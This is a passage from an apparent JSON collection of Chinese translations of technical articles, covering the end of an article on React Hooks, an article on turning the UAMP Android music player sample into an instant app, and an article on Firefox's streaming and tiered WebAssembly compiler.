来点代码！\n\n假设我们想要将订阅一个自适应当前窗口宽度的组件（例如，在有限的视图上显示不同的内容）。\n\n现在你有几种方法可以编写这种代码。这些方法包括编写类，设置一些生命周期函数，如果要在组件之间复用，甚至可以需要提取 render props 或更高一层的组件。但我认为没有比这更好的了：\n\n![](https://cdn-images-1.medium.com/max/800/1*j8U3U0nZvmEKJrSOK7iH5g.png)\n\n**如果你看这段代码，它恰恰就是我所表达的**。我们在我们的组件中**使用窗口的宽度**，而 React 将会在它变化是重新渲染。这就是 Hooks 的目的 —— 使组件做到真正的声明式，即使它们包含状态和副作用。\n\n让我们来看看如何实现这个自定义 Hooks。我们**使用 React 的本地状态来保存当前窗口宽度，并在窗口调整大小时**使用一个副作用来设置该状态：\n\n![](https://cdn-images-1.medium.com/max/800/1*9QhpwSGTKM-c8sc4UNcxqA.png)\n\n就像你从上面看到的那样，像 _useState_ 和 _useEffect_ 这样作为基本构建块的 React 内置 Hooks。我们可以直接在组件中使用它们，或者我们可以将它们整合到自定义 Hooks 中，就像 _useWindowWidth_ 那样。使用自定义 Hooks 感觉就像使用 React 的内置 API 一样得心应手。\n\n你可以从[此概述](https://reactjs.org/docs/hooks-overview.html)中了解有关内置 Hooks 的更多信息。\n\n**Hooks 是完全封装的 —— 你每次调用 Hooks 函数, 它都会从当前执行组件中获取到独立的本地状态**。对这个特殊的例子来说并不重要（所有组件的窗口宽度是相同的！），但这正是 Hooks 如此强大的原因。它们不仅是一种共享**状态**的方式，更是共享**状态化逻辑**的方式。我们不想破坏自上而下的数据流！\n\n每个 Hooks 都可以包含一些本地状态和副作用。你可以在不同 Hooks 之间传值，就像在通常在函数之间做的那样。Hooks 可以接受参数并返回值，因为它们**就是**JavaScript 函数。\n\n这是一个实验 Hooks 的 React 动画库的例子：\n\n![](https://i.loli.net/2018/10/31/5bd9904fc600f.png)\n\n[在 CodeSandbox 上运行这个例子](https://codesandbox.io/s/ppxnl191zx?from-embed)\n\n注意，在演示代码中，这个惊人的动画是通过几个自定义 Hooks 的传值实现的。\n\n![](https://cdn-images-1.medium.com/max/800/1*NJ2G1R_32k95WiPel5JHpg.png)\n\n（如果你想了解更多关于这个例子的信息, 查看[此介绍](https://medium.com/@drcmda/hooks-in-react-spring-a-tutorial-c6c436ad7ee4)。）\n\n在 Hooks 之间传递数据的能力使得它们非常适合实现动画、数据订阅、表单管理和其他状态化的抽象。**不同于 render props 和高阶组件，Hooks 不会在渲染树中创建“错误层次结构”**。它们更像是一个连接到组件的“存储单元”的平面列表。没有额外的层。\n\n### 类又该何去何从？\n\n在我们看来，自定义 Hooks 是 Hooks 提案中最吸引人的部分。但是为了使自定义 Hooks 工作，React 需要为函数提供一种声明状态和副作用的办法。而这也正是像 _useState_ 和 _useEffect_ 这样的内置 Hooks 允许我们做的事情。你可以在[文档](https://reactjs.org/docs/hooks-overview.html)中了解它们。\n\n事实证明，这些内置 Hooks **不仅**可用于创建自定义 Hooks。它们**也**足以用来定义组件，因为它们像 state 一样为我们提供了所有必要的特性。这就是为什么我们希望 Hooks 成为未来定义 React 组件的主要原因。\n\n我们没有打算弃用类。在 Facebook，我们有成千上万的类组件，而且和你一样，我们无意重写它们。但是如果 React 社区接受了 Hooks，那么同时推荐两种不同的方式来编写组件是没有意义的。Hooks 可以涵盖类的所有应用场景，同时在抽象，测试和复用代码方面提供更大的灵活性。这就是为什么 Hooks 代表了我们对 React 未来的愿景。\n\n### 不过 Hooks 是不是有点“魔术化”？\n\n你可能会对[Hooks 的规则](https://reactjs.org/docs/hooks-rules.html)感到惊讶。\n\n**虽然必须在顶层调用 Hooks 是不寻常的，但即使可以，你可能也不希望在某种条件判断中定义状态**。例如，你也无法对类中定义的状态进行条件判断，而在过去四年和 React 用户的交流中，我也没有听到过对此的抱怨。\n\n这种设计在不引入额外的语法噪音或其他坑的情况下，对自定义 Hooks 至关重要。我们知道用户一开始可能不熟悉，但我们认为这种取舍对未来是值得的。如果你不同意，我鼓励你动手去实践一下，看看这是否会改变你的感受。\n\n我们已经在生产环境下使用 Hooks 一个月了，以观察工程师们是否对这些规则感到困惑。我们发现实际情况是人们会在几个小时内习惯它们。就个人而言，我承认这些规则起初让我“感觉不对”，但我很快就克服了它。这次经历像极了我对 React 的第一印象。（你一开始就喜欢 React 吗？至少我不是一开始就喜欢，直到更多次尝试后才改变看法。）\n\n记住，在 Hooks 的实现中也没有什么“魔术”。就像 Jamie [指出](https://mobile.twitter.com/jamiebuilds/status/1055538414538223616)的那样，它像极了这个：\n\n![](https://cdn-images-1.medium.com/max/800/1*xNeUnpwUvFMuQu9Zr6A3AA.jpeg)\n\n我们为每个组件保留了一个 Hooks 列表，并在每次 Hooks 被调用时移动到列表中的下一项。得意于 Hooks 的规则，它们的顺序在每次渲染中都是相同的，因此我们可以为每次调用提供正确的组件状态。要知道 React 不需要做任何特殊处理就能知道哪个组件正在渲染 —— 调用你的组件的**正是** React。\n\n也许你在想 React 在哪里保存了 Hooks 的状态。答案就是，它保存在和 React 为类保持状态相同位置。无论你如何定义组件，React 都有一个内部的更新队列，它是任何状态的真实来源。\n\nHooks 不依赖于现代 JavaScript 库中常见的代理或 getter。按理说，Hooks 比一些解决类似问题的流行方法**更**平常。我想说 Hooks 就像调用 array.push 和 array.pop 一样普通（一样的取决于调用顺序！）。\n\nHooks 的设计与 React 无关。事实上，在提案发布后的前几天，不同的人提出了针对 Vue，Web Components 甚至原生 JavaScript 函数的相同 Hooks API 的实验性实现。\n\n最后，如果你是一个纯函数编程主义者并且对 React 依赖可突变状态的实现细节感到不安，你会欣喜的发现完成 Hooks 可以以函数式编程的方式实现（如果 JavaScript 支持它们）。当然，React 一直依赖于内部的可突变状态 —— 正因如此**你**不必那样做。\n\n无论你是从一个更务实还是教条的角度来考虑（或者你两者兼有），我希望至少有一个立场是有意义的。最重要的是，我认为 Hooks 让我们用更少的精力去构建组件，并提供更好的用户体验。这就正是我个人对 Hooks 感到兴奋的地方。\n\n### 传播正能量，而不是炒作\n\n如果 Hooks 对你还没有什么吸引力，我完全可以理解。我仍然希望你能在一个很小的项目上尝试一下，看看是否会改变你的看法。无论你是遇到需要 Hooks 来解决的问题，还是说你有不同的解决方案，欢迎通过 RFC 告诉我们！\n\n如果我**让**你感到兴奋，或者说有那么点好奇，那就太好了！我只有一个问题要问。现在有很多人正在学习 React，如果我们匆匆忙忙的编写教程，并把仅仅才出现几天的功能宣称为最佳实践，他们会感到困惑。即使对我们在 React 团队的人来说，关于 Hooks 的一些事情还不是很清楚。\n\n**如果你在 Hooks 不稳定期间开发了任何有关 Hooks 的内容，请突出提示它们是一个实验性提案，并包含指向[官方文档](https://reactjs.org/hooks)的链接**。我们会在提案发生任何改变时及时更新它。我们也花了相当多的精力来完善它，所以很多问题已在那里得到了解决。\n\n当你和其他不像你那么兴奋的人交流时，请保持礼貌。如果你发现别人对此有误解，如果对方乐意的话你可以和他分享更多信息。但任何改变都是可怕的，作为一个社区，我们应该尽力帮助人们，而不是疏远他们。如果我（或 React 团队中的任何其他人）未遵循此建议，请致电我们！\n### 更进一步\n\n查看 Hooks 提案的文档以了解更多信息：\n\n*   [Hooks 介绍](https://reactjs.org/docs/hooks-intro.html)（动机）\n*   [Hooks 小瞥](https://reactjs.org/docs/hooks-overview.html)（通览）\n*   [编写自定义 Hooks](https://reactjs.org/docs/hooks-custom.html)\n*   [Hooks 常见问题](https://reactjs.org/docs/hooks-faq.html)（也许你问题的答案就在其中！）\n\nHooks 仍然处于早期阶段，但我们很乐意能听到你们的反馈。你可以直接去 [RFC](https://github.com/reactjs/rfcs/pull/68)，与此同时，我们也会尽量及时回复 Twitter 上的对话。\n\n如果有不清楚的地方，请告诉我，我很乐意为你答疑解惑。感谢你的阅读！\n\n![](https://cdn-images-1.medium.com/max/800/1*_XMyHqfFSyw03BiNjBoV3Q.jpeg)\n\n<p align=\"center\">Vitra — Portemanteau Hang it all</p>\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/making-the-uamp-sample-an-instant-app.md",
    "content": "> * 原文地址：[Making the UAMP sample an instant app](https://medium.com/androiddevelopers/making-the-uamp-sample-an-instant-app-30c3f0a050af)\n> * 原文作者：[Oscar Wahltinez](https://medium.com/@owahltinez)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/making-the-uamp-sample-an-instant-app.md](https://github.com/xitu/gold-miner/blob/master/TODO1/making-the-uamp-sample-an-instant-app.md)\n> * 译者：[Mirosalva](https://github.com/Mirosalva)\n> * 校对者：[Qiuk17](https://github.com/Qiuk17)\n\n# 将通用安卓音乐播放器转化为 instant 应用\n\n从 Android Studio 的 3.3 版本开始，IDE 将会为 instant 应用提供工具支持。（撰写至本文时，Android Studio 3.3 的可下载版本是 [preview release](https://developer.android.com/studio/preview)，撰写至译文时，3.3 版本已更新到正式 release 版）。这篇博文中我们将介绍 [我们即将采取的步骤](https://github.com/googlesamples/android-UniversalMusicPlayer/commit/fc569696dd5dcaf7a8e1fa6bdeea82b30cf5f9d9) 来把[通用安卓音乐播放器](https://github.com/googlesamples/android-UniversalMusicPlayer) (UAMP) 转换成 instant 应用。对于首次听说 instant 应用的人，可以查看 [Android 开发者峰会上的会话](https://www.youtube.com/watch?v=L9J2e5PYXNg)，或者之前发布的与该话题有关的[阅读文档](https://developer.android.com/topic/google-play-instant/)。 \n\n![](https://cdn-images-1.medium.com/max/2000/0*c_CwU7uNVestpB4t)\n\n## 需求\n\n为了在不使用命令行的情况下构建和部署 instant 应用，我们需要最低版本为 Android Studio 3.3。升级 Android Gradle 插件来匹配 Android Studio 的版本也是**非常重要的**。例如，在撰写本文时，Android Studio 的版本最新为 3.3 RC1，因此我们使用如下 Gradle 插件版本：`com.android.tools.build:gradle:3.3.0-rc01`。\n\n## 更新清单文件\n\n在我们清单文件的 application 标签内部，我们需要添加代码 `<dist:module dist:instant=”true” />`。我们可能会看到报错信息表示『命名空间 ‘dist’ 没有被约束』，这里我们需要添加代码 `xmlns:dist=\"http://schemas.android.com/apk/distribution\"` 到清单代码的根标签内。或者，我们可以按照 Android Studio 的提议为我们自动解决报错问题。\n\n我们也可以添加 intent filters 属性来处理一个 VIEW intent，它与一个绑定我们应用的 URL 有关，尽管这[不是唯一的办法](https://developer.android.com/topic/google-play-instant/getting-started/feature-plugin#enable-try-now)来触发 instant 应用启动。对于 UMAP 来说，更新后的清单文件像下面代码这样：\n\n```\n<application ...>\n\n    <!-- Enable instant app support -->\n    <dist:module dist:instant=\"true\" />\n\n<activity android:name=\".MainActivity\">\n        <intent-filter>\n            <action android:name=\"android.intent.action.MAIN\" />\n            <category android:name=\"android.intent.category.LAUNCHER\" />\n        </intent-filter>\n\n<!-- App links for http -->\n        <intent-filter android:autoVerify=\"true\">\n            <action android:name=\"android.intent.action.VIEW\" />\n            <category android:name=\"android.intent.category.DEFAULT\" />\n            <category android:name=\"android.intent.category.BROWSABLE\" />\n            <data\n                android:scheme=\"http\"\n                android:host=\"example.android.com\"\n                android:pathPattern=\"/uamp\" />\n        </intent-filter>\n\n<!-- App links for https -->\n        <intent-filter android:autoVerify=\"true\">\n            <action android:name=\"android.intent.action.VIEW\" />\n            <category android:name=\"android.intent.category.DEFAULT\" />\n            <category android:name=\"android.intent.category.BROWSABLE\" />\n            <data\n                android:scheme=\"https\"\n                android:host=\"example.android.com\"\n                android:pathPattern=\"/uamp\" />\n        </intent-filter>\n    </activity>\n</application>\n```\n\n## 构建和部署一个具备 instant 特性的应用包\n\n我们可以遵照 [Google Play Instant 文档](https://developer.android.com/topic/google-play-instant/getting-started/instant-enabled-app-bundle)中解释的流程，我们也可以在 Android Studio 中更改运行配置。为了启用 instant 应用的部署，我们可以选择应用菜单中 **Deploy as instant app** 选择框，如下图所示：\n\n![使用 Android Studio 界面来使应用部署为 instant 应用](https://cdn-images-1.medium.com/max/2000/0*bCe1OhjN7ZVbv2eC)\n\n现在，剩下要做的就是在 Android Studio 中点击非常令人满意的 **Run** 按钮，如果前面所有步骤都正确执行，那就等着看 instant 应用被自动部署和启动吧！\n\n这个步骤之后，我们不会看到我们的应用在启动时出现在任何列表中。为了找到它，我们需要进入菜单 **Settings > Apps**，已部署的 instant 应用被列在这里：\n\n![Settings 列表下的 Instant 应用 > 应用](https://cdn-images-1.medium.com/max/2000/0*YnFwtzi2bG-cSPuZ)\n\n## 启动 instant 应用\n\nAndroid 系统可以通过很多种方式来触发启动一个 instant 应用。除了与 Play 商店绑定的机制之外，启动 instant 应用通常是通过将 ACTION_VIEW 发送到 URL 路径所对应的对象，这个 URL 在我们的清单文件中以 intent filter 的形式来定义。对于 UAMP 应用，通过运行下面的 ADB 指令来触发我们的应用：\n\n```\nadb shell am start -a android.intent.action.VIEW \"https://example.android.com/uamp\"\n```\n\n然而，Android 系统也会建议通过其他应用触发 ACTION_VIEW 对应的 URL 路径来启动我们的应用，这基本上适用于除了 web 浏览器外的所有应用。\n\n![当**打开**按钮被按下时会启动 UAMP 应用](https://cdn-images-1.medium.com/max/2160/0*LMIwDW_RUMO6PtKc)\n\n有关应用链接的更多信息，查看这个主题的[相关文档](https://developer.android.com/training/app-links/instant-app-links)，包括你的应用处理如何[验证链接的归属方](https://developer.android.com/training/app-links/verify-site-associations)的方法。\n\n## 已知问题\n\n对于运行 API 28 版本的设备（模拟器），当我们清除菜单上 **Deploy as Instant app** 选择按钮并试图再次部署时，会报如下的错误：\n\n```\nError while executing: am start -n “com.example.android.uamp.next/com.example.android.uamp.MainActivity” -a android.intent.action.MAIN -c android.intent.category.LAUNCHER\n\nStarting: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=com.example.android.uamp.next/com.example.android.uamp.MainActivity }\n\nError type 3\n\nError: Activity class {com.example.android.uamp.next/com.example.android.uamp.MainActivity} does not exist.\n\nError while Launching activity\n```\n\n解决办法是移除设备上的 instant 应用，既可以从设备或模拟器的设置菜单 **Settings > Apps** 中卸载，也可以通过 Android Studio 工具的标签 terminal 中执行指令 `./gradlew uninstallAll`。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/making-webassembly-even-faster-firefoxs-new-streaming-and-tiering-compiler.md",
    "content": "> * 原文地址：[Making WebAssembly even faster: Firefox’s new streaming and tiering compiler](https://hacks.mozilla.org/2018/01/making-webassembly-even-faster-firefoxs-new-streaming-and-tiering-compiler/)\n> * 原文作者：[Lin Clark](http://code-cartoons.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/making-webassembly-even-faster-firefoxs-new-streaming-and-tiering-compiler.md](https://github.com/xitu/gold-miner/blob/master/TODO1/making-webassembly-even-faster-firefoxs-new-streaming-and-tiering-compiler.md)\n> * 译者：[Sam](https://github.com/xutaogit/)\n> * 校对者：[Augustwuli](https://github.com/Augustwuli)\n\n# 使 WebAssembly 更快：Firefox 的新流式和分层编译器\n\n人们都说 WebAssembly 是一个游戏规则改变者，因为它可以让代码更快地在网络上运行。有些[加速已经存在](https://hacks.mozilla.org/2017/02/what-makes-webassembly-fast/)，还有些在不远的将来。\n\n其中一种加速是流式编译，即浏览器在代码还在下载的时候就对其进行编译。截至目前，这只是潜在的未来加速（方式）。但随着下周 Firefox 58 版本的发布，它将成为现实。\n\nFirefox 58 还包含两层新的编译器。新的基线编译器编译代码的速度比优化编译器快了 10-15 倍。\n\n综合起来，这两个变化意味着我们编译代码的速度比从网络中编译代码速度快。\n\n[![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/ezgif-5-73711fc5d3.gif)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/ezgif-5-73711fc5d3.gif)\n\n在台式电脑上，我们每秒编译 30-60 兆字节的 WebAssembly 代码。这比网络传送数据包的[速度](http://www.speedtest.net/global-index)还快。\n\n如果你使用 Firefox Nightly 或者 Beta，你可以在你自己设备上[试一试](https://lukewagner.github.io/test-tanks-compile-time/)。即便是在很普通的移动设备上，我们可以每秒编译 8 兆字节 —— 这比任何移动网络的平均下载速度都要快得多。\n\n这意味着你的代码几乎是在它完成下载后就立即执行。\n\n### 为什么这很重要？\n\n当网站发布大批量 JavaScript 代码时，Web 性能拥护者会变得束手无策。这是因为下载大量的 JavaScript 会让页面加载变慢。\n\n这很大程度是因为解析和编译时间。正如 [Steve Souder 指出](https://calendar.perfplanet.com/2017/tracking-cpu-with-long-tasks-api/)，网络性能的旧瓶颈曾是网络。但现在网络性能的新瓶颈是 CPU，特别是主线程。\n\n[![Old bottleneck, the network, on the left. New bottleneck, work on the CPU such as compiling, on the right](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/02-500x295.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/02.png)\n\n所以我们想要尽可能多的把工作从主线程中移除。我们也想要尽可能早的启动它，以便我们充分利用 CPU 的所有时间。更好的是，我们可以完全减少 CPU 工作量。\n\n使用 JavaScript 时，你可以做一些这样的事情。你可以通过流入的方式在主线程外解析文件。但你还是需要解析它们，这就需要很多工作，并且你必须等到它们都解析完了才能开始编译。然后编译的时候，你又回到了主线程上。这是因为 JS 通常是运行时[延迟编译](https://hacks.mozilla.org/2017/02/a-crash-course-in-just-in-time-jit-compilers/)的。\n\n[![Timeline showing packets coming in on the main thread, then parsing happening simultaneously on another thread. Once parse is done, execution begins on main thread, interrupted occassionally by compiling](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/03-500x167.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/03.png)\n\n使用 WebAssembly，启动的工作量减少了。解码 WebAssembly 比解析 JavaScript 更简单，更快捷。并且这些解码和编译可以跨多个线程进行拆分。\n\n这意味着多个线程将运行基线编译，这会让它变得更快。一旦完成，基线编译好的代码就可以在主线程上开始执行。它不必像 JS 代码一样暂停编译。\n\n[![Timeline showing packets coming in on the main thread, and decoding and baseline compiling happening across multiple threads simultaneously, resulting in execution starting faster and without compiling breaks.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/04-500x202.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/04.png)\n\n当基线编译的代码在主线程上运行时，其他线程则在做更优化的版本。当更优化的版本完成时，它就会替换进来使得代码运行更加快捷。\n\n这使得加载 WebAssembly 的成本变得更像解码图片而不是加载 JavaScript。并且想想看 —— 网络性能倡导者肯定接受不了 150kB 的 JS 代码负载量，但相同大小的图像负载量并不会引起人们的注意。\n\n[![Developer advocate on the left tsk tsk-ing about large JS file. Developer advocate on the right shrugging about large image.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/05-500x218.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/05.png)\n\n这是因为图像的加载时间要快得多，就像 Addy Osmani 在 [JavaScript 的成本](https://medium.com/dev-channel/the-cost-of-javascript-84009f51e99e) 中解释的那样，解码图像并不会阻塞主线程，正如 Alex Russell 在[你能接受吗？真实的 Web 性能预算](https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/)中所讨论的那样。\n\n但这并不意味着我们希望 WebAssembly 文件和图像文件一样大。虽然早期的 WebAssembly 工具创建了大型的文件，是因为它们包含了很多运行时（内容），目前来看还有很多工作要做让文件变得更小。例如，Emscripten 有一个[“缩小协议”](https://github.com/kripken/emscripten/issues/5836)。在 Rust 中，你已经可以通过使用 wasm32-unknown-unknown 目标来获取相当小尺寸的文件，并且还有像 [wasm-gc](https://github.com/alexcrichton/wasm-gc) 和 [wasm-snip](https://github.com/fitzgen/wasm-snip) 这样的工具来帮助进一步优化它们。\n\n这就意味着这些 WebAssembly 文件的加载速度要比等量的 JavaScript 快得多。\n\n这很关键。正如 [Yehuda Katz 指出](https://twitter.com/wycats/status/942908325775077376)，这是一个游戏规则改变者。\n\n[![Tweet from Yehuda Katz saying it's possible to parse and compile wasm as fast as it comes over the network.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/06-500x444.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/06.png)\n\n所以让我们看看新编译器是怎么工作的吧。\n\n### 流式编译：更早开始的编译\n\n如果你更早开始编译代码，你就更早完成它。这就是流式编译所做的 —— 尽可能快地开始编译 .wasm 文件。\n\n当你下载文件时，它不是单件式的。实际上，它带来的是一系列数据包。\n\n之前，当 .wasm 文件中的每个包正在下载时，浏览器网络层会把它放进 ArrayBuffer（译者注：数组缓存）中。\n\n[![Packets coming in to network layer and being added to an ArrayBuffer](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/07-500x255.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/07.png)\n\n然后，一旦完成下载，它会将 ArrayBuffer 转移到 Web VM（也就是 JS 引擎）中。也就到了 WebAssembly 编译器要开始编译的时候。\n\n[![Network layer pushing array buffer over to compiler](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/08-500x218.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/08.png)\n\n但是没有充分的理由让编译器等待。从技术上讲，逐行编译 WebAssembly 是可行的。这意味着你能够在第一个块进来的时候就开始启动。\n\n所以这就是我们新编译器所做的。它利用了 WebAssembly 的流式 API。\n\n[![WebAssembly.instantiateStreaming call, which takes a response object with the source file. This has to be served using MIME type application/wasm.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/09-500x132.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/09.png)\n\n如果你提供给 `WebAssembly.instantiateStreaming` 一个响应的对象，则（对象）块一旦到达就会立即进入 WebAssembly 引擎。然后编译器可以开始处理第一个块，即便下一个块还在下载中。\n\n[![Packets going directly to compiler](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/10-500x248.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/10.png)\n\n除了能够并行下载和编译代码外，它还有另外一个优势。\n\n.wasm 模块中的代码部分位于任何数据（它将引入到模块的内存对象）之前。因此，通过流式传输，编译器可以在模块的数据仍在下载的时候就对其进行编译。如果当你的模块需要大量的数据，且可能是兆字节的时候，这些就会显得很重要。\n\n[![File split between small code section at the top, and larger data section at the bottom](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/11-500x260.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/11.png)\n\n通过流式传输，我们可以提前开始编译。而且我们同样可以更快速地进行编译。\n\n### 第 1 层基线编译器：更快的编译代码\n\n如果你想要代码跑的快，你就需要优化它。但是当你编译时执行这些优化会花费时间，也就会让编译代码变得更慢。所以这里需要一个权衡。\n\n但鱼和熊掌可以兼得。如果我们使用两个编译器，就能让其中一个快速编译但是不做过多的优化工作，而另一个虽然编译慢，但是创建了更多优化的代码。\n\n这就称作为层编译器。当代码第一次进入时，将由第 1 层（或基线）编译器对其编译。然后，当基线编译完成，代码开始运行之后，第 2 层编译器再一次遍历代码并在后台编译更优化的版本。\n\n一旦它（译者注：第 2 层编译）完成，它会将优化后的代码热插拔为先前的基线版本。这使代码执行得更快。\n\n[![Timeline showing optimizing compiling happening in the background.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/12-500x204.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/12.png)\n\nJavaScript 引擎已经使用分层编译器很长一段时间了。然而，JS 引擎只在一些代码变得“温热” —— 当代码的那部分被调用太多次时，才会使用第 2 层（或优化）编译器。\n\n相比之下，WebAssembly 的第 2 层编译器会热切地进行全面的重新编译，优化模块中的所有代码。在未来，我们可能会为开发者添加更多选项，用来控制如何进行激进的优化或者惰性的优化。\n\n基线编译器在启动时节省了大量时间。它编译代码的速度比优化编译器的快 10-15 倍。并且在我们的测试中，它创建代码的速度只慢了 2 倍。\n\n这意味着，只要仍在运行基线编译代码，即便是在最开始的几分钟你的代码也会运行地很快。\n\n### 并行化：让一切更快\n\n在[关于 Firefox Quantum 的文章](https://hacks.mozilla.org/2017/11/entering-the-quantum-era-how-firefox-got-fast-again-and-where-its-going-to-get-faster/)中，我解释了粗粒度和细粒度的并行化。我们可以用它们来编译 WebAssembly。\n\n我在上文有提到，优化编译器会在后台进行编译。这意味着它空出的主线程可用于执行代码。基线编译版本的代码可以在优化编译器进行重新编译时运行。\n\n但在大多数电脑上仍然会有多个核心没有使用。为了充分使用所有核心，两个编译器都使用细粒度并行化来拆解工作。\n\n并行化的单位是功能，每个功能都可以在不同的核心上单独编译。这就是所谓的细粒度，实际上，我们需要将这些功能分批处理成更大的功能组。这些批次会被派送到不同的核心里。\n\n### ...然后通过隐式缓存完全跳过所有工作（未来的任务）\n\n目前，每次重新加载页面时都会重做解码和编译。但是如果你有相同的 .wasm 文件，它编译后都是一样的机器代码。\n\n这意味着，很多时候这些工作都可以跳过。这些也是未来我们要做的。我们将在第一页加载时进行解码和编译，然后将生成的机器码缓存在 HTTP 缓存中。之后当你再次请求这个 URL 的时候，它会拉取预编译的机器代码。\n\n这就能让后续加载页面的加载时间消失了。\n\n[![Timeline showing all work disappearing with caching.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/13-500x217.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/01/13.png)\n\n这项功能已经有了基础构建。我们在 Firefox 58 版本中[缓存了这样的 JavaScript 字节代码](https://blog.mozilla.org/javascript/2017/12/12/javascript-startup-bytecode-cache/)。我们只需扩展这种支持来缓存 .wasm 文件的机器代码。\n\n## 关于 [Lin Clark](http://code-cartoons.com)\n\nLin 是 Mozilla Developer Relations 团队的工程师。她致力于 JavaScript、WebAssembly、Rust 和 Servo，还会绘制代码漫画。\n\n*   [code-cartoons.com](http://code-cartoons.com)\n*   [@linclark](http://twitter.com/linclark)\n\n[Lin Clark 的更多文章...](https://hacks.mozilla.org/author/lclarkmozilla-com/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/manage-different-environments-in-your-swift-project-with-ease.md",
